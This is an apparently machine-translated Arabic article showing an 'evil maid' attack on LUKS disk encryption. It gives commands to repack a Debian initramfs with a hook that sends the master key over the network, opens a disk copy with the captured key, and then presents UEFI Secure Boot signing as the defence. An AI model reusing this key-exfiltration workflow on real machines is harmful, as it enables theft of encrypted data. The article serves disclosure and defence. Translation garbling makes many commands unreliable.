👸🏿 👩🏻‍🎤 🕹️ القرصنة وحماية تشفير محركات الأقراص LUKS 🧛🏾 🐞 🧛🏿

تم تصميم تشفير القرص لحماية البيانات الموجودة على جهاز الكمبيوتر الخاص بك من الوصول الفعلي غير المصرح به. هناك اعتقاد خاطئ بأن تشفير القرص يتواءم مع هذه المهمة بالفعل ، والسيناريوهات التي يبدو أن هذا ليس غريباً للغاية وغير واقعي. توضح هذه المقالة أن استخراج المفتاح الرئيسي لوحدة تخزين LUKS المشفرة أمر سهل في الممارسة ، واقتُرحت طريقة حماية (منذ زمن طويل).

جوهر المشكلة

يجب علينا أيضا أن نركز على الغرض من تشفير القرص. في الواقع ، عندما يكون الوصول الفعلي مستحيلًا ويمتلك نظام التشغيل البيانات ، لا توجد مشكلات. قد تكون هناك مشاكل في أمان النظام نفسه ، ولكن تشفير القرص لن يساعد هنا. يجب أن يحمي تشفير القرص البيانات عندما يكون لدى الطرف الغريب الفرصة للوصول إلى الأقراص دون المرور عبر النظام ، على سبيل المثال توصيل الأقراص فعليًا بنظامهم أو تحميل نظام التشغيل الخاص بهم على جهاز كمبيوتر تم فحصه. سيناريو الوصول الفعلي هو السيناريو الوحيد الذي يكون فيه تشفير القرص منطقيًا.

المشكلة هي أن المهاجم يمكنه التدخل بهدوء في سلسلة تشغيل نظام التشغيل وإجبار النظام على إصدار مفاتيح التشفير بمجرد استلامها في المرة التالية التي يبدأ فيها تشغيله.

يتطلب مثل هذا الهجوم إجراء واحد فقط للوصول إلى الكمبيوتر: يمكن نسخ البيانات من القرص مع استبدال دائرة التمهيد ، ثم فك تشفيرها حتى يظهر المفتاح. مقارنة بالأقراص غير المشفرة ، فإن الإزعاج الوحيد هو أنك بحاجة إلى العناية بكيفية إرسال المفتاح والانتظار لبدء تشغيله.

بعد ذلك ، دعنا ننتقل إلى إظهار هذه التقنية في الممارسة العملية. قد يتضح أن المهاجم سيحتاج إلى جهد أقل من تنفيذه لتنفيذه على إعداد بعض طرقه الغريبة لإلغاء تأمين الأقراص (على سبيل المثال ، عن بعد).

مظاهرة عملية

سأجري عرضًا توضيحيًا على سبيل المثال لجهاز ظاهري باستخدام Debian 9 ، تم تمكين تشفير القرص عليه أثناء تثبيت النظام.

يؤدي تثبيت Debian 9 بالتشفير إلى إنشاء قسم تمهيد وقسم باستخدام LVM المشفر. لقطة شاشة للنظام المثبت تطلب كلمة مرور فك التشفير من أجل الوضوح:

كل شيء جاهز ، يمكنك المتابعة. قم بإيقاف تشغيل السيارة ، وانسخ القرص. في حالتي ، يبدو الأمر كما يلي:

 [الجذر @ dt1 ~] # virsh تدمير debian9-boothack 
 يتم تدمير مجال debian9-boothack

 [root @ dt1 ~] # cp -v /var/lib/libvirt/images/debian9-boothack.qcow2 ~
 "/var/lib/libvirt/images/debian9-boothack.qcow2" -> "/root/debian9-boothack.qcow2"

تحميل محرك الجهاز ، واستخراج initramdrive:

 [root @ dt1 ~] # mkdir / guest
 [root @ dt1 ~] # guestmount -a /var/lib/libvirt/images/debian9-boothack.qcow2 -m / dev / sda1 / guest
 [root @ dt1 ~] # cp -v /guest/initrd.img-4.9.0-9-amd64 ~ user / tmp
 '/guest/initrd.img-4.9.0-9-amd64' -> '/home/user/tmp/initrd.img-4.9.0-9-amd64'

تفريغ initramdrive:

 [user @ dt1 tmp] mkdir $ unpacked
 [user @ dt1 tmp] القرص المضغوط الذي تم فك حزمه / $
 [user @ dt1 unpacked] $ zcat ../initrd.img-4.9.0-9-amd64 |  cpio-idm
 [تفريغ المستخدم @ dt1] $ ls
 بن أسيوط الخ الحرف الأول ليب lib64 تشغيل البرامج النصية sbin

تم ، يمكنك تحرير initramdrive. مع العلم أن الجهاز يحتوي على اتصال دائم بالشبكة ، أريد تنظيم الإرسال المشفر للمفتاح الرئيسي بعد فتح الأقراص. للقيام بذلك ، سأحتاج إلى:

أداة للإرسال المشفر عبر الشبكة . /sbin إلى /sbin
شل النصي لاستخراج مفتاح وإرسال . إرسالها إلى /scripts/local-top وإضافتها إلى /scripts/local-top/ORDER cryptoroot بعد cryptoroot .
برنامج معالجة حدث udhcpc الأصلي المفقود لبدء الضبط التلقائي للشبكة مباشرةً في ramdrive ، وذلك باستخدام الأدوات المدمجة. مكانها الصحيح موجود في /etc/udhcpc/default.script

تم تصميم secsend القابل للتنفيذ بشكل ثابت لإزالة التبعيات على أي مكتبات. في ظل الظروف العادية ، ينتج التجميع ملف إخراج بحجم 2.7 ميغابايت ، وهو ملحوظ جدًا مقارنة بحجم ramdrive - 62 ميجابايت في شكل غير مغلف و 20 ملف مضغوط. ومع ذلك ، عند إنشاء جميع المكتبات والقابلة للتنفيذ مع الحد الأدنى من musl libc ، يكون حجم ملف الإخراج ~ 250 كيلوبايت و 120 كيلوبايت بعد ضغط UPX. Secsend نفسها ببساطة يقرأ الإدخال القياسي ، يشفر مع cryptobox من libsodium باستخدام المفتاح العمومي المحدد Curve25519 ويرسل البيانات إلى العنوان المحدد عبر TCP. استخدامه غير مبدئي للغرض الرئيسي من العرض التوضيحي ، بل يُظهر أن المهاجم غير محدود بشكل أساسي: يمكنك تشغيل التعليمات البرمجية التي تفعل ما يريده المهاجم وكيف يريده.

بعد إضافة هذه الملفات الثلاثة وتحرير ملف آخر ، يمكنك إعادة تجميع كل شيء وإعادة الملف المعدل إلى مكانه:

 [user @ dt1 unpacked] $ find.  |  cpio -o -c |  gzip -9> ../initrd.img-4.9.0-9-amd64
 125736 كتل
 [user @ dt1 unpacked] $ sudo cp -v ../initrd.img-4.9.0-9-amd64 / guest
 "../initrd.img-4.9.0-9-amd64" -> "/guest/initrd.img-4.9.0-9-amd64"
 [user @ dt1 unpacked] $ sudo guestunmount / guest

سوف يستغرق الأمر بعض الخادم لتلقي مفتاح رئيسي مشفر ، مثل هذا (Python 3.5.3+). من خلال تشغيله مع الجزء السري من زوج المفاتيح ، ننتظر حتى يقوم الضحية الشرطية بتشغيل جهاز الكمبيوتر الخاص به:

عند تشغيل جهاز افتراضي به قرص مشفر ، يبدو كل شيء كالمعتاد ، ولم يتغير شيء:

ولكن على جانب مستمع الاتصال ، ظهر مفتاح رئيسي سري:

من هذه اللحظة فصاعدًا ، لم يعد المهاجم يمثل الجهاز الظاهري الذي يحتوي على بيانات ومستخدمه الذي له معرفة بكلمة مرور التشفير. أؤكد أن تغيير عبارة المرور لا يغير المفتاح الرئيسي الذي يتم تشفير وحدة التخزين بالكامل به. حتى لو كان تغيير عبارة المرور قد تلاشى بطريقة ما بين عمل نسخة وإرسال المفتاح ، فهذا ليس عائقًا. سوف نستخدم المفتاح الرئيسي لفتح مستوى الصوت. للقيام بذلك ، نقوم بتحويل إدخال السجل 16 العشري الخاص به إلى ملف ثنائي:

 [root @ dt1 ~] # echo 'fa0c53 *********** 4 يسببc' |  xxd -r -p> master.key

تحميل الأقراص مع نسخة:

 [root @ dt1 ~] # modprobe nbd max_part = 8
 [root @ dt1 ~] # qemu-nbd --connect = / dev / nbd0 /root/debian9-boothack.qcow2 
 [root @ dt1 ~] # ls / dev / nbd0 *
 / dev / nbd0 / dev / nbd0p1 / dev / nbd0p2 / dev / nbd0p5
 [root @ dt1 ~] # file -s / dev / nbd0p5
 / dev / nbd0p5: ملف مشفر LUKS ، الإصدار 1 [aes ، xts-plain64 ، sha256] UUID: fb732477-ef98-40b5-86a2-8526c349f031
 [root @ dt1 ~] # cryptsetup --master-key-file = master.key luksOpen / dev / nbd0p5 crackeddisk
 [root @ dt1 ~] # pvs
   PV VG Fmt Attr PSize PFree
   / dev / mapper / crackeddisk debian9-boothack-vg lvm2 a-- 19.75g 0 
   / dev / sda3 dt1 lvm2 a-- <215.01g 8.00m
 [root @ dt1 ~] # lvs
   LV VG Attr LSize Pool Origin Data٪ Meta٪ Move Log Cpy٪ Sync Convert
   debian9-boothack-vg -wi-a ----- 18.75g                                                    
   swap_1 debian9-boothack-vg -wi-a ----- 1.00g                                                    
   الجذر dt1 -wi-ao ---- 215.00g                                                    
 [root @ dt1 ~] # mkdir / hackedroot
 [root @ dt1 ~] # mount / dev / mapper / debian9 - boothack - vg-root / hackedroot /
 [root @ dt1 ~] # ls / hackedroot /
 bin boot dev etc home initrd.img initrd.img.old lib lib64 lost + found media mnt opt proc root run sbin srv sys tmp usr var vmlinuz vmlinuz.old
 [root @ dt1 ~] # cat / hackedroot / etc / hostname 
 debian9-boothack

يتم استرداد البيانات.

تدابير وقائية

كما يمكنك أن تستنتج ، فإن جذر المشكلة هو إطلاق كود غير موثوق به. فيما يلي نظرة عامة مختصرة على التقنيات التي يجب مراعاتها في سياق هذه المشكلة.

تشفير قسم التمهيد

تقدم بعض التوزيعات أيضًا هذه الميزة أثناء التثبيت (على سبيل المثال ، OpenSuSE). في هذه الحالة ، يتم إلغاء تشفير قسم التمهيد بواسطة أداة تحميل التشغيل ، ثم يتم تحميل kernel و initramdrive منه. هذا النهج لا معنى له للأسباب التالية:

لا تزال المشكلة الأكثر أهمية في خداع التعليمات البرمجية مفتوحة. الآن فقط سوف تحتاج إلى استبدال محمل الإقلاع.
بالنسبة لقسم التمهيد ، فإن تكامل البيانات ليس أكثر أهمية ، ولكن تكامل البيانات. لا يوفر LUKS Basic Encryption مثل هذا الضمان. بعض الفوائد هنا تكمن فقط في حقيقة أنه من الصعب تشكيل بديل ذي معنى على هذا القسم المشفر.
كما أن تشفير LUKS2 مع فحص النزاهة (dm-integrity) لا يحمي أيضًا من التداخل ، لأنه لا يوفر ضمانات ضد الهجمات المتعلقة بإعادة تشغيل القطاع. على سبيل المثال ، بعد تفريغ هذا القسم وتهيئة أداة تحميل الإقلاع عليه ، لا يزال بإمكانك أخذ النواة وإعادتها إلى الحالة التي تم نسخها مسبقًا. هذا لا يعطي مزايا على وجه التحديد في مسألة استخراج المفاتيح (إلا إذا كانت النواة القديمة معرضة للخطر ويمكن استخدامها بطريقة أو بأخرى) ، بل هي حجة لصالح عدم جدوى تشفير قسم التمهيد.

استخدام TPM لتخزين مفتاح تشفير والتحقق من صحة بيئة تمهيد آمنة

TPM هو في الأساس معالج تشفير يعمل كجهاز آمن أو بطاقة ذكية في النظام. لا يمكن فك تشفير البيانات السرية المشفرة باستخدامها وفقط وفقًا لشروطها - عندما تتقارب قيم PCR للنظام ، والتي تعتمد على حالة النظام الأساسي والرمز الذي يعمل به. تعتبر التكنولوجيا واعدة جدًا ويمكن أن تسمح لك بتنفيذ تشفير آمن في النظام دون الحاجة إلى مفتاح (على سبيل المثال ، عن طريق الدخول باستخدام بصمات الأصابع أو أساليب المصادقة غير المرتبطة بالتشفير). من الناحية المثالية ، يجب أن تعمل جنبًا إلى جنب مع التمهيد الآمن لـ UEFI ، مما يحظر فك التشفير عندما لا يتقارب التكوين.

ومع ذلك ، في نظام Linux ، لا يزال دعم TPM في مراحله الأولى. لا يعتمد محمل الإقلاع الموثوق به TrustedGRUB2 (محمل الإقلاع المخصص للعمل مع TPM) UEFI وتختفي الفكرة بأكملها من هذا. بالإضافة إلى ذلك ، فإن وجود TPM 2.0 يعمل الآن فقط في الظهور في الجهاز ، وغالبًا مع تحديثات BIOS. لا تحتوي معظم اللوحات الأم على وحدة TPM منفصلة ، وبدلاً من ذلك ، يتم تطبيق TPM ضمن برنامج Intel ME . لكل هذه الأسباب ، لا أعتبر أن مثل هذا التكوين يعمل ومناسب للاستخدام على نطاق واسع.

استخدام UEFI Secure Boot لتغطية سلسلة التمهيد بالكامل بتوقيع إلكتروني

هناك توزيعات (Fedora و OpenSuSE) وحلول واحدة تسمح لك باستخدام Secure Boot في Linux. ومع ذلك ، لا توفر الحلول المعبأة في الغالب تكامل الرمز في سلسلة التحميل. تم تصميمها بشكل أساسي لضمان بدء تشغيل Linux ببساطة عند تمكين Secure Boot. عادة ما تستخدم فقط EFI shim ، موقعة بواسطة شهادة Microsoft ، والتي تعمل بعد ذلك على أي شيء. وفقًا لذلك ، عند استخدام شهادة خارجية ، من المستحيل ببساطة تغطية توقيع محرك الأقراص داخل القرص الذي تم إنشاؤه مباشرة في النظام المثبت.

هناك مقالات على المحور توحي باستخدام PKI الخاص بك لتوقيع الرمز. يسمح لك هذا بالتوقيع على كل ما تحتاجه بمفردك ، وبالتالي تغطية سلسلة UEFI الكاملة ← محمل الإقلاع ← kernel و intramdrive.

ترويض UEFI SecureBoot - أول مقالة عن المحور حول هذا الموضوع ، مفصلة للغاية.
نحن نستخدم Secure Boot في Linux على أكمل وجه - وهو مكتوب بشكل جيد هنا لماذا يكون Secure Boot مع شهادات Microsoft المثبتة معادلاً لغيابه.

يتم الحصول على النتيجة المطلوبة في المادة الثانية. يتم تحقيق توقيع intramdrive من خلال دمج ramdrive و kernel في تطبيق EFI واحد ، دون استخدام أداة تحميل ، ويقوم UEFI بالتحقق مباشرة من التوقيع على الفور بكميات كبيرة. يتطلب كلا الدليلين الكثير من العمل اليدوي على كل نظام محمي.

الحل بأسعار معقولة

لقد توصلت إلى مقاربة للتطبيق الكامل لـ Secure Boot ، وهو متوافق مع نظام التمهيد المقبول عمومًا ولا يتطلب تدخلًا خطيرًا في النظام: محمل تحميل منفصل ، ramdrive منفصل ، نواة منفصلة. يتحقق UEFI من توقيع محمل الإقلاع GRUB2 فقط ، ويحتوي محمل الإقلاع على تكوين سلكي مع المفتاح للتحقق من كلمة المرور للتوقيع والمسؤول ، ثم يتحقق من kernel و ramdrive. يتم تثبيت أداة تحميل التشغيل الموقعة بالتوازي مع أداة التحميل القديمة ، وإذا لزم الأمر ، يظل من الممكن البدء بالطريقة المعتادة من خلال تعطيل Secure Boot. بالطبع ، يجب إغلاق هذه الميزة بكلمة مرور المسؤول في قائمة إعدادات UEFI.

قررت أتمتة عملية نشر Secure Boot باستخدام PKI الخاص بي وجعلها بسيطة ومستقلة عن التوزيع قدر الإمكان. والنتيجة مجرد مجموعة من وصفة Makefile والأدوات المساعدة: https://github.com/Snawoot/linux-secureboot-kit . بالنسبة إلى دبيان وأوبونتو وفيدورا وسنتوس ، تتطلب العملية برمتها بضعة أوامر فقط.

على وجه التحديد ، مع مثال دبيان 9 ، يبدو التثبيت كالتالي (على افتراض أن UEFI موجود بالفعل في وضع الإعداد):

 apt update && apt install -y unzip make sbsigntool wget https://gist.github.com/Snawoot/1937d5bc76d7b0a29f2039aa679c0449/raw/74a63c99be07ec93cfc1df47d2e98e54920c97b7/efitools-1.9.2-static.tar.xz && \ tar xpJf efitools-1.9.2-static.tar.xz -C / wget https://github.com/Snawoot/linux-secureboot-kit/archive/master.zip unzip master.zip cd linux-secureboot-kit-master/ make debian9-install

هنا ، يتم إدخال جميع الأوامر نيابة عن المستخدم الخارق. نتيجة لذلك ، يبقى فقط التحقق من تمكين Secure Boot في قائمة BIOS وحماية إعدادات BIOS بكلمة مرور مسؤول.

وهنا هي محاولة لاستبدال ramdrive على مثل هذا التثبيت:

استبدال أداة تحميل التشغيل (يعتمد المظهر على النظام الأساسي):

يؤدي

لا يكفي تشفير القرص وحده لضمان خصوصية البيانات. يتيح لك توقيع سلسلة التمهيد بأكملها باستخدام UEFI Secure Boot و GPG تحقيق مستوى جيد من الحماية من خداع التعليمات البرمجية القابلة للتنفيذ ، بشرط أن يتمكن مشغل الكمبيوتر من التعرف على إعادة تعيين أو محاكاة ساخرة للوحة النظام ، أو حتى الكمبيوتر بالكامل. خلاف ذلك ، من الصعب للغاية تقديم وسائل حماية مناسبة إذا كان المستخدم مستعدًا لإدخال كلمة المرور / نقل المفتاح إلى أي جهاز ينتهي بطريق الخطأ إلى الطاولة أو في غرفة الخادم.

القرصنة وحماية تشفير محركات الأقراص LUKS